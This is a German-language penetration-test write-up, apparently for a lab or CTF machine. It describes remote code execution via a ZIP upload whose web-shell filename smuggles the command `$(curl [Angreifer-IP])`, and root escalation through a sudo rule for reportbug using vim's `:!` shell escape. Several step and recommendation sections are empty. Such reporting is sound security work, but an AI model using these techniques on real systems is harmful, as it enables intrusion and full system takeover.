Empfehlung (Admin): Überprüfen Sie `sudo`-Regeln sorgfältig. Vermeiden Sie es, Benutzern die Ausführung von interaktiven Programmen oder Editoren als `root` zu erlauben, wenn dies nicht absolut notwendig ist. Wenn es doch nötig ist, konfigurieren Sie `sudo` so, dass Shell-Escapes verhindert werden (z.B. mit `sudo -e` für Editoren oder spezifischeren Einschränkungen).
POC 1: RCE via File Upload und Command Injection in Filename
Kurzbeschreibung: Die Anwendung unter `upload.php` erlaubt das Hochladen von ZIP-Dateien. Obwohl sie versucht, Nicht-JPEG-Dateien zu filtern, kann der Filter durch eine doppelte Endung (`.php.jpeg`) umgangen werden. Entscheidender ist jedoch, dass der Dateiname beim Entpacken auf dem Server unsicher behandelt wird (oder der Webserver Dateinamen mit Shell-Metacharacteren erlaubt und die Webshell im Dateinamen korrekt interpretiert). Durch das Hochladen einer ZIP-Datei, die eine PHP-Web-Shell mit einem speziellen Dateinamen wie `$(curl [Angreifer-IP]).php` enthält, und anschließendes Aufrufen dieser Datei über eine URL mit einem `cmd`-Parameter, kann Remote Code Execution als `www-data` erlangt werden.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
Erwartetes Ergebnis: Der Befehl im `cmd`-Parameter wird als `www-data` ausgeführt und die Ausgabe im Browser angezeigt.
Beweismittel: Die Ausgabe des `id`-Befehls (`uid=33(www-data)...`) bei Aufruf der URL.
Risikobewertung: Hoch. Diese Schwachstelle ermöglicht direkte RCE als Webserver-Benutzer.
Empfehlungen (Admin):
POC 2: Privilege Escalation via `sudo reportbug`
Kurzbeschreibung: Der Benutzer `freddie` hat die `sudo`-Berechtigung, `/usr/bin/reportbug` als `root` auszuführen. Da `reportbug` einen Editor (wie `vim`) startet, kann diese Berechtigung missbraucht werden, um Root-Rechte zu erlangen. Innerhalb des Editors kann die verwendete Shell auf `/bin/bash` geändert und anschließend beliebige Befehle über die Editor-Shell-Funktion (`!command`) als `root` ausgeführt werden.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
Erwartetes Ergebnis: Der Befehl (`id`) wird als `root` ausgeführt und die Ausgabe (`uid=0(root)...`) wird im Editor angezeigt.
Beweismittel: Die Ausgabe von `:!id` zeigt Root-Rechte.
Risikobewertung: Hoch. Eine scheinbar harmlose `sudo`-Regel ermöglicht die vollständige Übernahme des Systems.
Empfehlungen (Admin):